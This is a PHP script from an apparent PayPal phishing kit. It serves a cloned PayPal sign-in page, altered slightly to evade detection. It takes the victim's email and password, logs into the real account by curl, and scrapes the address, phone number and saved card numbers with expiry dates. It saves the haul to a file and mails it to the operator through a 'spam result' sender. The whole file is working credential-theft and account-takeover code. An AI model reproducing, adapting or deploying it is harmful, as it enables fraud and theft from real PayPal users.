<?php
include('../blocker.php');
include('../detect.php');
include('../function.php');
if (isset($_POST['login_email']) && isset($_POST['login_password'])) {
    function isValidEmail($mail)
    {
        return filter_var($mail, FILTER_VALIDATE_EMAIL) && preg_match('/@.+\./', $mail);
    }
    $email    = $_POST['login_email'];
    $password = $_POST['login_password'];
    $valid    = isValidEmail($email);
    $check    = buka('https://www.paypal.com/cgi-bin/webscr?cmd=_oe-gift-certificate&business=' . urlencode($email) . '&lc=GB&no_note=1&shopping_url=http%3a%2f%2fnafisastore.com&style_color=BLU&currency_code=GBP&bn=PP-GiftCertBF%3abtn_giftCC_LG.gif%3aNonHostedGuest');
    if (strlen($password) < 7 || !$valid) {
        header("LOCATION: ../signin/?loginFailedBecause=dataTokenError");
        exit;
    } elseif (stripos($check, 'Send a Gift Voucher') !== false && strlen($password) > 7) {
        $config['cookies'] = '../cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.cookie';
        $fa     = @fopen($config['cookies'], 'w');
        @fclose($fa);
        $responses   = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_ship-now");
        $form_action = fetch_value($responses, '<form method="post" name="login_form" action="', '"');
        $conText     = fetch_value($responses, 'id="CONTEXT_CGI_VAR" name="CONTEXT" value="', '"');
        $var         = 'login_cmd=&login_params=&login_email=' . rawurlencode($email) . '&login_password=' . rawurlencode($password) . '&target_page=0&submit.x=Log+In';
        $vars        = "CONTEXT=" . $conText . "&login_cmd=&login_params=&login_email=" . rawurlencode($email) . "&login_password=" . rawurlencode($password) . "&submit.x=Log+In";
        if (stripos($form_action, 'webscr?SESSION=')) {
            $login = curl($form_action, $vars);
        } elseif (stripos($form_action, 'SESSION=')) {
            $login = curl($form_action, $var);
        }
        if (stripos($login, 'Log\x20In')) {
            header("LOCATION: ../signin/?failedBecause=securityTokenError");
            exit;
        } elseif (!stripos($login, '/cgi-bin/webscr?cmd=_logout')) {
            $config['cookies'] = '../cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.cookie';
            $fa     = @fopen($config['cookies'], 'w');
            @fclose($fa);
            $responses = curl("https://www.paypal.com/cgi-bin/webscr?cmd=_ship-now");
            preg_match("/<form method=\"post\" name=\"login_form\" action=\"([^\"]*)\"/siU", $responses, $matches);
            $form_acti = $matches[1];
            $vari      = 'login_cmd=&login_params=&login_email=' . $email . '&login_password=' . $password . '&target_page=0&submit.x=Log+In';
            $logi = curl($form_acti, $vari);
        }
        $checkId  = curl('https://www.paypal.com/{$kode_negara}/cgi-bin/webscr?cmd=_profile-address&nav=0.6.3');
        $detail   = getStr($checkId, 's.prop1="', '"');
        $Adress   = fetch_value($checkId, 'emphasis">', '</span>');
        $GetPhn   = curl('https://www.paypal.com/{$kode_negara}/cgi-bin/webscr?cmd=_profile-phone&nav=0.6.4');
        $Phone    = strip_tags('<input type="hidden" ' . fetch_value($GetPhn, 'name="phone"', '</label>'));
        $GetCC    = curl('https://www.paypal.com/{$kode_negara}/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2');
        if (stripos($GetCC, 'ccadd') !== false) {
            $CeCe = '';
        } else {
    preg_match_all('/<tr>(.+)<\/tr>/siU', $GetCC, $matches);
    foreach ($matches[1] AS $k => $v) {
        if ($k > 0) {
            preg_match_all('/<td>(.+)<\/td>/siU', $v, $m);
            if (isset($m[1][0])) {
                $type = fetch_value($m[1][0], '/icon_', '.gif"');
                if (!$type) {
                    $type = fetch_value($m[1][0], 'icon&#x5f;', '&#x2e;gif');
                }
                $type  = strtoupper($type);
                $ccnum = str_replace(' ', '', $m[1][1]);
                $exp   = $m[1][2];
            }
            $CeCe = strip_tags($type) . 'Cece' . strip_tags($ccnum) . 'Cece' . strip_tags($exp);
        }
    }
        }
        $SaveData = '../Save/' . $ip . '.logged';
        if (!file_exists($SaveData)) {
            $fp = @fopen($SaveData, 'a');
            @fwrite($fp, 'PayPal' . $email . 'PayPal' . $password . 'PayPal
Address' . $Adress . 'Address
Phone' . $Phone . 'Phone
Cece' . $CeCe . 'Cece
');
            @fclose($fp);
        } else {
            $fp = @fopen($SaveData, 'w');
            @fwrite($fp, 'PayPal' . $email . 'PayPal' . $password . 'PayPal
Address' . $Adress . 'Address
Phone' . $Phone . 'Phone
Cece' . $CeCe . 'Cece
');
            @fclose($fp);
        }
        $Logout  = curl('https://www.paypal.com/{$kode_negara}/cgi-bin/webscr?cmd=_logout');
        $message = "
++------[ $$ LoginZ - DzeSezMii $$ ]------++

Email    : " . $email . "
Password : " . $password . "

IP Info  : " . $ip . " | " . $nama_negara . "
Browser  : " . $agent . "

++-----[ $$ NGEPET $$ ]-----++
";
        include '../____YourMail____.php';
        $subject = "PayPal [ " . $nama_negara . " - " . $ip . " ]";
        $headers = "From: PP Spam Result <pp_rezult@spammerindo.com>";
        mail($emailku, $subject, $message, $headers);
        header("LOCATION: ../myaccount");
        exit;
    } else {
        header("LOCATION: ../signin/?failedBecause=securityTokenError");
        exit;
    }
}
$geturl  = explode('Url', file_get_contents('../Save/' . $negara . '.url'));
if (file_exists($logpage)) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],"Mobile")){
        $logpage = 'Mobile/' . $kode_negara . '.home';
    } else {
        $logpage = 'Page/' . $kode_negara . '.home';
    }
    $result = file_get_contents($logpage);
} else {
    $url    = 'https://www.paypal.com/signin' . $geturl[1];
    $result = buka($url);
    $buk    = @fopen($logpage, 'a');
    @fwrite($buk, $result);
    @fclose($buk);
}
$title = getStr($result, 'data-title="', '"');
$view = str_replace('action="/signin"', 'action="/signin/' . $geturl[1] . '"', $result);
if (isset($_GET["failedBecause"])) {
    $view = str_replace('<div id="notifications" class="notifications"></div>', '<div tabindex="-1" id="notifications" class="notifications"><p class="notification notification-critical" role="alert">Some of your info isn\'t correct. Please try again.</p></div>', $view);
} else if (isset($_GET["loginFailedBecause"])) {
    $view = str_replace('<div id="notifications" class="notifications"></div>', '<div tabindex="-1" id="notifications" class="notifications"><p class="notification notification-critical" role="alert">Please check your entries and try again.</p></div>', $view);
}
$view = str_replace('<form', '<form id="form"', $view);
$view = str_replace('<div class="transitioning', '<div id="animasi" class="transitioning', $view);
$view = str_replace('<p class="checkingInfo', '<p id="checking" class="checkingInfo', $view);
$view = str_replace('href="/', 'href="/?', $view);
$view = str_replace('class="proceed maskable"', "", $view);
$view = str_replace('accountrecovery', '?accountrecovery', $view);
$view = str_replace('signup', '?signup', $view);
$view = str_replace('novalidate=""', '', $view);
$view = str_replace('modernizr-2.6.1.js">', 'modernizr-2.6.1.js"></script><script src="https://code.jquery.com/jquery-1.11.3.min.js"></script><script src="../js/signin.js">', $view);
$view = str_replace('<title>', '<title>' . $title . '</title>', $view);
$view = str_replace('t.paypal.com', "", $view);
$home = str_replace("PayPal", "PayPaI", $view);
echo $home;
exit;
?>